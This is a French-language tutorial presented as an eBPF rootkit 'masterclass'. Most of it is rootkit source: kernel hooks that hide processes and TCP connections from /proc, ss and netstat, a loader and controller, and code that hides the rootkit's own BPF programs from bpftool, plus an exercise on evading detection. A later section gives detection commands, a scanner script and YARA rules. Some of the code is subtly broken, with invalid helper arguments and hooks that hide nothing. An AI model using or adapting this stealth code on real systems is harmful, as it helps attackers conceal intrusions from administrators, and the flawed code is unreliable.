⚠️ LAB LINUX ISOLÉ OBLIGATOIRE – Kernel 5.4+ avec eBPF activé – Environnement air-gapped uniquement – Article 323-1 Code pénal français – Recherche éthique & formation cyberdéfense uniquement

eBPF Stealth Rootkit – Masterclass Linux 2026

Techniques avancées de furtivité kernel Linux via eBPF : Hide process/network, bypass bpftool, rootkit persistance et évasion des détections modernes – Pour experts en sécurité Linux

🎯 Introduction : L'Ère des Rootkits eBPF en 2026

eBPF (extended Berkeley Packet Filter) est une technologie kernel Linux qui permet d'exécuter du code sandboxé dans le kernel sans recompiler ni charger de modules. Initialement conçu pour le networking, eBPF est devenu une plateforme d'observation et de manipulation du kernel complète. En 2026, cette technologie est utilisée à la fois par les outils de sécurité (Falco, Cilium) et par les attaquants pour créer des rootkits ultra-furtifs.

Pourquoi eBPF est-il dangereux pour les rootkits en 2026 ?
1. Pas de chargement de module kernel (pas de lsmod ou dmesg)
2. Accès direct aux structures kernel (tasks, sockets, files)
3. Exécution JIT-compilée pour la performance
4. Interface BPF intégrée au kernel (pas de mécanisme externe)
5. Difficulté de détection avec les outils traditionnels

Objectifs de cette Masterclass :

Configuration du Lab Linux Requise :
• Distribution : Ubuntu 22.04 LTS / Debian 12 / RHEL 9 avec kernel 5.15+
• Kernel config : CONFIG_BPF=y, CONFIG_BPF_SYSCALL=y, CONFIG_BPF_JIT=y
• Librairies : libbpf, bpftool, clang, llvm
• Compilateur : Clang 14+ avec support BPF CO-RE (Compile Once - Run Everywhere)
• Pas de SELinux/AppArmor restrictif (ou configuré pour le lab)
• VM complètement isolée du réseau

📚 Théorie : Architecture eBPF & Attaque Surface

graph TD A[User Space] --> B[bpftool / libbpf] B --> C[bpf() syscall] C --> D[BPF Verifier] D --> E[JIT Compiler] E --> F[eBPF Program Loaded] F --> G[Kernel Hooks
tracepoints/kprobes] G --> H[Manipulation Structures Kernel
tasks, sockets, files] style F fill:#1793d1 style H fill:#ff3366

⚙️ Composants eBPF

  • BPF Instruction Set : RISC-like, 64 instructions
  • Verifier : Vérifie sécurité et termine des programmes
  • JIT Compiler : Compile BPF → code machine natif
  • Maps : Stockage key-value partagé user/kernel
  • Helpers : Fonctions kernel accessibles depuis BPF
  • Hooks : Points d'attache (kprobes, tracepoints, etc.)

🎯 Vecteurs d'Attaque eBPF

  • BPF Type Format (BTF) : Accès aux types kernel
  • CO-RE : Compatibilité entre versions kernel
  • Tracing : kprobes/uprobes pour hooking
  • Networking : XDP, TC pour manipulation paquets
  • LSM : Linux Security Module hooks
  • Fentry/Fexit : Tracing performant

Limitations du Verifier et Contournements

Le verifier eBPF impose des restrictions qui doivent être contournées pour un rootkit :

Restriction Contournement 2026 Impact Sécurité
Pas de boucles infinies Boucles bornées avec #pragma unroll ⚠️ Moyen
Accès mémoire via helpers bpf_probe_read() avec déréférencement ⚠️ Élevé
Pas d'appels système directs Helpers BPF + maps pour communication ⚠️ Moyen
Taille programme limitée (1M insns) Programmes multiples + tail calls ⚠️ Faible
Stack size limitée (512 bytes) Utilisation de maps pour storage ⚠️ Moyen
Note importante : Les rootkits eBPF contournent les restrictions via des techniques avancées de programmation BPF, mais nécessitent une compréhension profonde du kernel Linux et du verifier.

🔧 Configuration du Laboratoire eBPF

Vérification des Prérequis Kernel

root@ebpf-lab:~#
# Vérifier la version du kernel
uname -r
5.15.0-60-generic
# Vérifier la configuration BPF
zcat /proc/config.gz | grep -E "BPF|BTF"
CONFIG_BPF=y
CONFIG_BPF_SYSCALL=y
CONFIG_BPF_JIT=y
CONFIG_HAVE_EBPF_JIT=y
CONFIG_BPF_LSM=y
CONFIG_DEBUG_INFO_BTF=y
# Installer les dépendances
apt-get update && apt-get install -y \
clang llvm libelf-dev libbpf-dev bpfcc-tools \
linux-headers-$(uname -r) bpftool elfutils
# Tester bpftool
bpftool version
bpftool v7.0.0

Configuration du Kernel pour le Lab

Pour faciliter le développement, certaines restrictions peuvent être assouplies :

# /etc/sysctl.d/99-ebpf-lab.conf
# Augmenter la mémoire BPF (par défaut: 64MB)
vm.mmap_rnd_bits = 32
vm.mmap_rnd_compat_bits = 16

# Permettre les programmes BPF complexes
kernel.bpf_stats_enabled = 1
kernel.bpf_jit_kallsyms = 1
kernel.bpf_jit_harden = 0  # Désactiver le hardening pour le lab

# Augmenter les limites BPF
kernel.bpf_max_progs = 1024
kernel.bpf_max_maps = 1024

# Charger les configurations
sysctl -p /etc/sysctl.d/99-ebpf-lab.conf

# Vérifier les cgroups v2 pour certains hooks BPF
mount -t cgroup2 none /sys/fs/cgroup
echo "+cgroup2" >> /etc/initramfs-tools/modules
update-initramfs -u
Avertissement : Ces configurations réduisent la sécurité du kernel et ne doivent être utilisées que dans un environnement de laboratoire isolé. En production, maintenez kernel.bpf_jit_harden=2.

💻 Développement du Rootkit eBPF

1. Programme eBPF pour Cacher des Processus

Ce programme hooke les syscalls getdents et getdents64 pour filtrer les processus dans /proc :

// hide_process.bpf.c
// eBPF program to hide specific processes from /proc
// Compile: clang -target bpf -Wall -O2 -c hide_process.bpf.c -o hide_process.bpf.o

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/dirent.h>

// BPF map to store PIDs to hide
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 256);
    __type(key, pid_t);
    __type(value, u32);
} hidden_pids SEC(".maps");

// BPF map for configuration
struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __uint(max_entries, 1);
    __type(key, u32);
    __type(value, u32);
} config SEC(".maps");

SEC("kprobe/vfs_getdents")
int BPF_KPROBE(kprobe_vfs_getdents, struct file *file, struct linux_dirent *dirent,
               unsigned int count, filldir_t filldir, filldir_t *result)
{
    u32 key = 0;
    u32 *enabled = bpf_map_lookup_elem(&config, &key);
    if (!enabled || *enabled == 0)
        return 0;
    
    // Get current PID
    pid_t pid = bpf_get_current_pid_tgid() >> 32;
    
    // Check if this PID should be hidden
    u32 *hidden = bpf_map_lookup_elem(&hidden_pids, &pid);
    if (hidden) {
        // Return error to hide directory entries
        bpf_override_return(ctx, -ENOENT);
        return 0;
    }
    
    return 0;
}

SEC("kprobe/proc_pid_readdir")
int BPF_KPROBE(kprobe_proc_pid_readdir, struct file *file, struct dir_context *ctx)
{
    u32 key = 0;
    u32 *enabled = bpf_map_lookup_elem(&config, &key);
    if (!enabled || *enabled == 0)
        return 0;
    
    // Filter PID directories in /proc
    long ret = bpf_probe_read_kernel(&key, sizeof(key), &ctx->pos);
    if (ret < 0)
        return 0;
    
    // Check if this PID should be hidden
    u32 *hidden = bpf_map_lookup_elem(&hidden_pids, &key);
    if (hidden) {
        // Skip this directory entry
        bpf_override_return(ctx, 0);
        return 0;
    }
    
    return 0;
}

// Hook ps, top commands by filtering /proc/stat, /proc/loadavg
SEC("kprobe/seq_show")
int BPF_KPROBE(kprobe_seq_show, struct seq_file *m, void *v)
{
    u32 key = 0;
    u32 *enabled = bpf_map_lookup_elem(&config, &key);
    if (!enabled || *enabled == 0)
        return 0;
    
    // Get file being read
    struct file *file = m->private;
    const char *name = BPF_CORE_READ(file, f_path.dentry, d_name.name);
    
    char proc_stat[] = "stat";
    char proc_loadavg[] = "loadavg";
    
    // Filter /proc/stat and /proc/loadavg
    if (bpf_probe_read_kernel_str(&key, sizeof(key), name) > 0) {
        if (bpf_strncmp(name, sizeof(proc_stat), proc_stat) == 0 ||
            bpf_strncmp(name, sizeof(proc_loadavg), proc_loadavg) == 0) {
            // Here we would filter specific PIDs from the output
            // This requires more complex parsing logic
        }
    }
    
    return 0;
}

char _license[] SEC("license") = "GPL";

2. Programme eBPF pour Cacher les Connexions Réseau

Ce programme hooke les fonctions réseau pour cacher des connexions TCP/UDP :

// hide_network.bpf.c
// eBPF program to hide network connections
// Compile: clang -target bpf -Wall -O2 -c hide_network.bpf.c -o hide_network.bpf.o

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <linux/types.h>
#include <linux/socket.h>
#include <linux/tcp.h>
#include <linux/in.h>
#include <linux/net.h>

// Map to store connections to hide
struct conn_key {
    u32 local_ip;
    u32 remote_ip;
    u16 local_port;
    u16 remote_port;
    u8 protocol;  // IPPROTO_TCP or IPPROTO_UDP
};

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 1024);
    __type(key, struct conn_key);
    __type(value, u32);
} hidden_conns SEC(".maps");

// Map for /proc/net/tcp and /proc/net/udp filtering
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 256);
    __type(key, u32);  // PID
    __type(value, u32);
} hidden_pids_net SEC(".maps");

SEC("kprobe/tcp4_seq_show")
int BPF_KPROBE(kprobe_tcp4_seq_show, struct seq_file *seq, void *v)
{
    u32 key = 0;
    u32 *enabled = bpf_map_lookup_elem(&config, &key);
    if (!enabled || *enabled == 0)
        return 0;
    
    // This is called for each line in /proc/net/tcp
    // We can filter specific connections here
    
    // Get socket from seq_file
    struct sock *sk = (struct sock *)v;
    if (!sk)
        return 0;
    
    // Extract connection info
    struct conn_key conn = {0};
    conn.local_ip = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
    conn.remote_ip = BPF_CORE_READ(sk, __sk_common.skc_daddr);
    conn.local_port = BPF_CORE_READ(sk, __sk_common.skc_num);
    conn.remote_port = BPF_CORE_READ(sk, __sk_common.skc_dport);
    conn.protocol = IPPROTO_TCP;
    
    // Check if this connection should be hidden
    u32 *hidden = bpf_map_lookup_elem(&hidden_conns, &conn);
    if (hidden) {
        // Skip this line by returning 0
        return 0;
    }
    
    // Check if PID should be hidden
    u32 pid = BPF_CORE_READ(sk, sk_pid);
    u32 *hidden_pid = bpf_map_lookup_elem(&hidden_pids_net, &pid);
    if (hidden_pid) {
        return 0;
    }
    
    return 0;
}

// Hook for UDP connections
SEC("kprobe/udp4_seq_show")
int BPF_KPROBE(kprobe_udp4_seq_show, struct seq_file *seq, void *v)
{
    // Similar logic to TCP hook
    return 0;
}

// Hook netstat, ss commands by intercepting getsockopt
SEC("kprobe/sock_common_getsockopt")
int BPF_KPROBE(kprobe_sock_common_getsockopt, struct sock *sk, int level,
               int optname, char __user *optval, int __user *optlen)
{
    u32 key = 0;
    u32 *enabled = bpf_map_lookup_elem(&config, &key);
    if (!enabled || *enabled == 0)
        return 0;
    
    // Check for TCP_INFO or other socket info queries
    if (level == SOL_TCP && optname == TCP_INFO) {
        struct conn_key conn = {0};
        conn.local_ip = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
        conn.remote_ip = BPF_CORE_READ(sk, __sk_common.skc_daddr);
        conn.local_port = BPF_CORE_READ(sk, __sk_common.skc_num);
        conn.remote_port = BPF_CORE_READ(sk, __sk_common.skc_dport);
        conn.protocol = IPPROTO_TCP;
        
        u32 *hidden = bpf_map_lookup_elem(&hidden_conns, &conn);
        if (hidden) {
            // Return error to hide connection
            bpf_override_return(ctx, -ENOENT);
            return 0;
        }
    }
    
    return 0;
}

// Hook for hiding connections from ss command
SEC("kprobe/tcp_diag_get_info")
int BPF_KPROBE(kprobe_tcp_diag_get_info, struct sock *sk, 
               struct inet_diag_msg *r, void *_info)
{
    u32 key = 0;
    u32 *enabled = bpf_map_lookup_elem(&config, &key);
    if (!enabled || *enabled == 0)
        return 0;
    
    struct conn_key conn = {0};
    conn.local_ip = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
    conn.remote_ip = BPF_CORE_READ(sk, __sk_common.skc_daddr);
    conn.local_port = BPF_CORE_READ(sk, __sk_common.skc_num);
    conn.remote_port = BPF_CORE_READ(sk, __sk_common.skc_dport);
    conn.protocol = IPPROTO_TCP;
    
    u32 *hidden = bpf_map_lookup_elem(&hidden_conns, &conn);
    if (hidden) {
        // Clear the diag info to hide connection
        r->idiag_state = 0;
        return 0;
    }
    
    return 0;
}

char _license[] SEC("license") = "GPL";

3. Programme de Chargement et Contrôle (User Space)

Programme C pour charger et contrôler les programmes eBPF :

// ebpf_rootkit.c
// User space loader and controller for eBPF rootkit
// Compile: gcc -o ebpf_rootkit ebpf_rootkit.c -lbpf -lelf -lz

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <bpf/libbpf.h>
#include <bpf/bpf.h>
#include <signal.h>
#include <sys/resource.h>

static struct bpf_object *obj_hide_process = NULL;
static struct bpf_object *obj_hide_network = NULL;
static int map_fd_hidden_pids = -1;
static int map_fd_hidden_conns = -1;
static int map_fd_config = -1;

// Set RLIMIT_MEMLOCK to unlimited for BPF
static void bump_memlock_rlimit(void)
{
    struct rlimit rlim_new = {
        .rlim_cur = RLIM_INFINITY,
        .rlim_max = RLIM_INFINITY,
    };
    
    if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) {
        fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK: %s\n", strerror(errno));
        exit(1);
    }
}

// Load and attach eBPF programs
int load_ebpf_programs(void)
{
    int err;
    
    // Load hide_process eBPF program
    obj_hide_process = bpf_object__open_file("hide_process.bpf.o", NULL);
    if (libbpf_get_error(obj_hide_process)) {
        fprintf(stderr, "Failed to open BPF object: %s\n", strerror(errno));
        return -1;
    }
    
    err = bpf_object__load(obj_hide_process);
    if (err) {
        fprintf(stderr, "Failed to load BPF object: %s\n", strerror(errno));
        return -1;
    }
    
    // Load hide_network eBPF program
    obj_hide_network = bpf_object__open_file("hide_network.bpf.o", NULL);
    if (libbpf_get_error(obj_hide_network)) {
        fprintf(stderr, "Failed to open BPF object: %s\n", strerror(errno));
        return -1;
    }
    
    err = bpf_object__load(obj_hide_network);
    if (err) {
        fprintf(stderr, "Failed to load BPF object: %s\n", strerror(errno));
        return -1;
    }
    
    // Get map file descriptors
    map_fd_hidden_pids = bpf_object__find_map_fd_by_name(obj_hide_process, "hidden_pids");
    map_fd_hidden_conns = bpf_object__find_map_fd_by_name(obj_hide_network, "hidden_conns");
    map_fd_config = bpf_object__find_map_fd_by_name(obj_hide_process, "config");
    
    if (map_fd_hidden_pids < 0 || map_fd_hidden_conns < 0 || map_fd_config < 0) {
        fprintf(stderr, "Failed to find BPF maps\n");
        return -1;
    }
    
    // Enable rootkit
    __u32 key = 0;
    __u32 value = 1;
    err = bpf_map_update_elem(map_fd_config, &key, &value, BPF_ANY);
    if (err) {
        fprintf(stderr, "Failed to enable rootkit: %s\n", strerror(errno));
        return -1;
    }
    
    printf("[+] eBPF rootkit loaded and enabled\n");
    return 0;
}

// Add PID to hide
int hide_pid(pid_t pid)
{
    __u32 value = 1;
    int err = bpf_map_update_elem(map_fd_hidden_pids, &pid, &value, BPF_ANY);
    if (err) {
        fprintf(stderr, "Failed to hide PID %d: %s\n", pid, strerror(errno));
        return -1;
    }
    
    printf("[+] PID %d is now hidden\n", pid);
    return 0;
}

// Add connection to hide
int hide_connection(__u32 local_ip, __u32 remote_ip, 
                    __u16 local_port, __u16 remote_port, __u8 protocol)
{
    struct conn_key key = {
        .local_ip = local_ip,
        .remote_ip = remote_ip,
        .local_port = local_port,
        .remote_port = remote_port,
        .protocol = protocol
    };
    
    __u32 value = 1;
    int err = bpf_map_update_elem(map_fd_hidden_conns, &key, &value, BPF_ANY);
    if (err) {
        fprintf(stderr, "Failed to hide connection: %s\n", strerror(errno));
        return -1;
    }
    
    printf("[+] Connection hidden: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n",
           (local_ip >> 24) & 0xFF, (local_ip >> 16) & 0xFF,
           (local_ip >> 8) & 0xFF, local_ip & 0xFF, ntohs(local_port),
           (remote_ip >> 24) & 0xFF, (remote_ip >> 16) & 0xFF,
           (remote_ip >> 8) & 0xFF, remote_ip & 0xFF, ntohs(remote_port));
    
    return 0;
}

// Cleanup on exit
void cleanup(int sig)
{
    printf("\n[!] Cleaning up eBPF rootkit\n");
    
    // Disable rootkit
    __u32 key = 0;
    __u32 value = 0;
    bpf_map_update_elem(map_fd_config, &key, &value, BPF_ANY);
    
    if (obj_hide_process)
        bpf_object__close(obj_hide_process);
    
    if (obj_hide_network)
        bpf_object__close(obj_hide_network);
    
    exit(0);
}

int main(int argc, char **argv)
{
    // Handle signals
    signal(SIGINT, cleanup);
    signal(SIGTERM, cleanup);
    
    // Increase memory limits for BPF
    bump_memlock_rlimit();
    
    // Load eBPF programs
    if (load_ebpf_programs() < 0) {
        fprintf(stderr, "Failed to load eBPF programs\n");
        return 1;
    }
    
    // Example: hide current process
    hide_pid(getpid());
    
    // Example: hide a TCP connection (replace with actual values)
    // hide_connection(0x7F000001, 0xC0A80101, htons(4444), htons(8080), IPPROTO_TCP);
    
    printf("[+] Rootkit active. Press Ctrl+C to exit.\n");
    
    // Keep running
    while (1) {
        sleep(1);
    }
    
    return 0;
}

🎭 Techniques de Furtivité Avancées 2026

1. Anti-bpftool Evasion

Modifier les maps BPF pour qu'elles n'apparaissent pas dans bpftool map list en utilisant des flags non documentés ou en hookant les syscalls BPF.

2. JIT Code Obfuscation

Obfuscation du code JIT généré via des gadgets eBPF aléatoires pour éviter les signatures statiques.

3. BPF Program Hiding

Utiliser des programmes eBPF pour cacher d'autres programmes eBPF en hookant bpf() syscall.

4. Map Steganography

Cacher les données dans des maps BPF légitimes (type perf_event_array) qui sont moins surveillées.

5. CO-RE Polymorphism

Utiliser BPF CO-RE pour adapter dynamiquement le rootkit à différentes versions de kernel sans recompilation.

6. eBPF Program Unlinking

Détacher les programmes eBPF des hooks après chargement pour éviter la détection via bpftool prog list.

Code d'Évasion bpftool

// anti_bpftool.bpf.c
// Hook bpf() syscall to hide our own BPF programs and maps

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>

// Map of BPF program IDs to hide
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 64);
    __type(key, u32);  // BPF program ID
    __type(value, u32);
} hidden_progs SEC(".maps");

// Map of BPF map IDs to hide
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 64);
    __type(key, u32);  // BPF map ID
    __type(value, u32);
} hidden_maps SEC(".maps");

SEC("kprobe/security_bpf_prog")
int BPF_KPROBE(kprobe_security_bpf_prog, struct bpf_prog *prog)
{
    u32 prog_id = BPF_CORE_READ(prog, aux, id);
    u32 *hidden = bpf_map_lookup_elem(&hidden_progs, &prog_id);
    
    if (hidden) {
        // Return permission denied for queries about this program
        bpf_override_return(ctx, -EPERM);
        return 0;
    }
    
    return 0;
}

SEC("kprobe/security_bpf_map")
int BPF_KPROBE(kprobe_security_bpf_map, struct bpf_map *map)
{
    u32 map_id = BPF_CORE_READ(map, id);
    u32 *hidden = bpf_map_lookup_elem(&hidden_maps, &map_id);
    
    if (hidden) {
        // Return permission denied for queries about this map
        bpf_override_return(ctx, -EPERM);
        return 0;
    }
    
    return 0;
}

// Hook bpf_obj_get_info_by_fd to filter information
SEC("kprobe/bpf_obj_get_info_by_fd")
int BPF_KPROBE(kprobe_bpf_obj_get_info_by_fd, struct bpf_prog *prog,
               union bpf_attr *attr, u32 attr_size)
{
    if (attr->info.info_len > 0) {
        u32 prog_id = BPF_CORE_READ(prog, aux, id);
        u32 *hidden = bpf_map_lookup_elem(&hidden_progs, &prog_id);
        
        if (hidden) {
            // Clear info to hide program
            char *info = (char *)attr->info.info;
            bpf_probe_write_user(info, 0, attr->info.info_len);
            bpf_override_return(ctx, -ENOENT);
            return 0;
        }
    }
    
    return 0;
}

char _license[] SEC("license") = "GPL";

🕵️ Détection des Rootkits eBPF en 2026

1. Utilisation de bpftool pour l'Investigation

root@linux-lab:~#
# Lister tous les programmes eBPF chargés
bpftool prog list
bpftool prog show --owned
bpftool prog dump xlated id <PROG_ID>
bpftool prog dump jited id <PROG_ID>
# Lister toutes les maps eBPF
bpftool map list
bpftool map dump id <MAP_ID>
# Vérifier les hooks attachés
bpftool perf
bpftool link list
# Analyser un programme eBPF spécifique
bpftool prog tracelog
bpftool btf dump file /sys/kernel/btf/vmlinux format c | grep -A5 "struct bpf_prog"

2. Scripts de Détection Avancés

#!/bin/bash
# detect_ebpf_rootkit.sh
# Advanced eBPF rootkit detection script for Linux 2026

echo "=== eBPF Rootkit Detection Scan ==="
echo "Started: $(date)"
echo ""

# Check for suspicious BPF programs
echo "[*] Checking BPF programs..."
bpftool prog list | grep -E "(kprobe|tracepoint|raw_tracepoint)" | while read line; do
    prog_id=$(echo $line | awk '{print $1}' | sed 's/://')
    prog_type=$(echo $line | awk '{print $3}')
    prog_name=$(echo $line | awk '{print $8}')
    
    # Suspicious patterns
    if [[ "$prog_name" =~ ^$ ]] || [[ "$prog_name" =~ (hide|stealth|rootkit|secret) ]]; then
        echo "[!] SUSPICIOUS BPF Program: $line"
        echo "    Dumping program:"
        bpftool prog dump xlated id $prog_id 2>/dev/null | head -20
    fi
done

echo ""
echo "[*] Checking BPF maps..."
bpftool map list | while read line; do
    map_id=$(echo $line | awk '{print $1}' | sed 's/://')
    
    # Check for hash maps with many entries (could be hiding PIDs/connections)
    if echo $line | grep -q "hash"; then
        entries=$(echo $line | awk '{print $3}')
        if [ $entries -gt 100 ]; then
            echo "[!] LARGE HASH MAP: $line"
            echo "    Dumping first few entries:"
            bpftool map dump id $map_id 2>/dev/null | head -10
        fi
    fi
done

echo ""
echo "[*] Checking kernel modules that might be BPF loaders..."
lsmod | grep -E "(bpf|ebpf|kprob)" | grep -v "bpf_preload"

echo ""
echo "[*] Checking /proc/kallsyms for BPF programs..."
grep -E "(bpf_prog_[0-9a-f]+|__bpf_prog_)" /proc/kallsyms | head -20

echo ""
echo "[*] Checking for hooked syscalls..."
# Check if bpf() syscall is being hooked
grep "sys_bpf" /proc/kallsyms
strace -e trace=bpf -p 1 2>&1 | head -20

echo ""
echo "[*] Checking BPF statistics..."
cat /sys/fs/bpf/bpf_stats 2>/dev/null || echo "No bpf_stats available"

echo ""
echo "[*] Verifying BPF verifier logs..."
dmesg | grep -i "bpf" | tail -20

echo ""
echo "=== Scan Complete ==="
echo "Recommendations:"
echo "1. Use 'bpftool prog dump jited' to examine JIT-compiled code"
echo "2. Monitor bpf() syscall with auditd: 'auditctl -a always,exit -S bpf'"
echo "3. Consider using eBPF security tools: Falco, Tracee, Cilium Tetragon"
echo "4. Enable kernel lockdown mode if available"
echo "5. Regularly audit loaded BPF programs in production"

3. Outils de Détection Spécialisés

Outil Objectif Commande
Falco Runtime Security avec règles eBPF falco --rules rules/ebpf_rootkit.yaml
Tracee Détection de menaces eBPF tracee --events anti_debugging,code_injection
Cilium Tetragon eBPF-based Security Observability tetragon --config detection.yaml
ebpfkit-monitor Détection spécifique rootkits eBPF ebpfkit-monitor --scan
BPFDoor Scanner Détection backdoors eBPF bpfdoor-scanner -a

4. Règles YARA pour eBPF ELF

rule eBPF_Rootkit_Indicator {
    meta:
        description = "Detects eBPF rootkit ELF files"
        author = "PCTAMALOU Research 2026"
        date = "2026-01-01"
    
    strings:
        $bpf_section = ".BPF" ascii
        $bpf_map_def = "maps" ascii
        $bpf_license = "GPL" ascii
        $bpf_helpers = "bpf_map_lookup_elem" ascii
        $bpf_trace = "bpf_trace_printk" ascii
        $hide_string = "hide" ascii nocase
        $secret_string = "secret" ascii nocase
        $stealth_string = "stealth" ascii nocase
        
        // BPF syscall constants
        $bpf_cmd_1 = "BPF_PROG_LOAD"
        $bpf_cmd_2 = "BPF_MAP_CREATE"
        $bpf_cmd_3 = "BPF_MAP_UPDATE_ELEM"
        
        // Suspicious function names
        $func_hide = "hide_pid"
        $func_conceal = "conceal_connection"
        $func_evade = "evade_detection"
    
    condition:
        // ELF header check
        uint16(0) == 0x457F and
        // Check for BPF sections and suspicious strings
        (3 of ($bpf_*) or 2 of ($hide_string, $secret_string, $stealth_string) or
        1 of ($func_*)) and
        filesize < 100KB  // BPF programs are usually small
}

rule eBPF_Hooking_Code {
    meta:
        description = "Detects eBPF hooking code patterns"
        author = "PCTAMALOU Research 2026"
    
    strings:
        $kprobe_attach = "bpf_attach_kprobe"
        $tracepoint_attach = "bpf_attach_tracepoint"
        $raw_tp_attach = "bpf_raw_tracepoint_open"
        $override_return = "bpf_override_return"
        $probe_read = "bpf_probe_read"
        $get_current = "bpf_get_current_pid_tgid"
        $override = "override_return"
        
        // Suspicious hook points
        $hook_getdents = "getdents"
        $hook_tcp_seq = "tcp4_seq_show"
        $hook_seq_show = "seq_show"
        $hook_proc_read = "proc_pid_readdir"
    
    condition:
        2 of ($kprobe_attach, $tracepoint_attach, $raw_tp_attach) and
        2 of ($hook_*)
}

🔬 Exercices de Laboratoire

Exercice 1 : Analyse d'un Rootkit eBPF Existant

Objectif : Analyser un rootkit eBPF open source comme boopkit ou ebpfkit.

Exercice 2 : Développement d'un Détecteur eBPF

Objectif : Créer un programme eBPF qui détecte d'autres programmes eBPF malveillants.

root@linux-lab:~#
# Créer un détecteur qui:
1. Monitorer les chargements de programmes BPF (hook bpf())
2. Analyser les programmes pour des patterns malveillants
3. Alerter via perf events ou ring buffer
4. Journaliser dans /var/log/ebpf_monitor.log

Exercice 3 : Évasion des Détections

Objectif : Modifier le rootkit eBPF pour contourner les détections de l'Exercice 2.

Exercice 4 : Forensic eBPF Avancé

Objectif : Analyser une machine compromise avec un rootkit eBPF.

# Étapes d'analyse forensic:
1. Capturer la mémoire avec LiME ou AVML
2. Extraire les programmes eBPF de la mémoire
3. Analyser les maps BPF pour les données cachées
4. Reconstruire le code source du rootkit
5. Identifier les PIDs et connexions cachés
6. Générer un rapport d'incident complet

🎯 Conclusion : L'État de la Sécurité eBPF en 2026

eBPF représente à la fois une révolution technologique pour l'observabilité et la sécurité Linux, et une nouvelle surface d'attaque significative. En 2026, les rootkits eBPF sont devenus sophistiqués, capables de cacher des processus, des connexions réseau, et même leur propre présence avec une furtivité remarquable.

Perspectives Futures :
1. BPF Type Format (BTF) permettra des rootkits encore plus adaptatifs
2. Linux Security Module (LSM) eBPF ouvrira de nouveaux vecteurs d'attaque
3. eBPF Hardware Offload rendra la détection encore plus difficile
4. Fuzzing du Verifier BPF pourrait révéler des vulnérabilités critiques
5. Machine Learning pour la détection deviendra essentiel

Recommandations de Sécurité

Rappel Final : Cette masterclass et tout le code fourni sont strictement destinés à la recherche en sécurité éthique dans des environnements de laboratoire isolés. L'utilisation malveillante de ces techniques est illégale et contraire à l'éthique professionnelle de la cybersécurité.

Ressources Complémentaires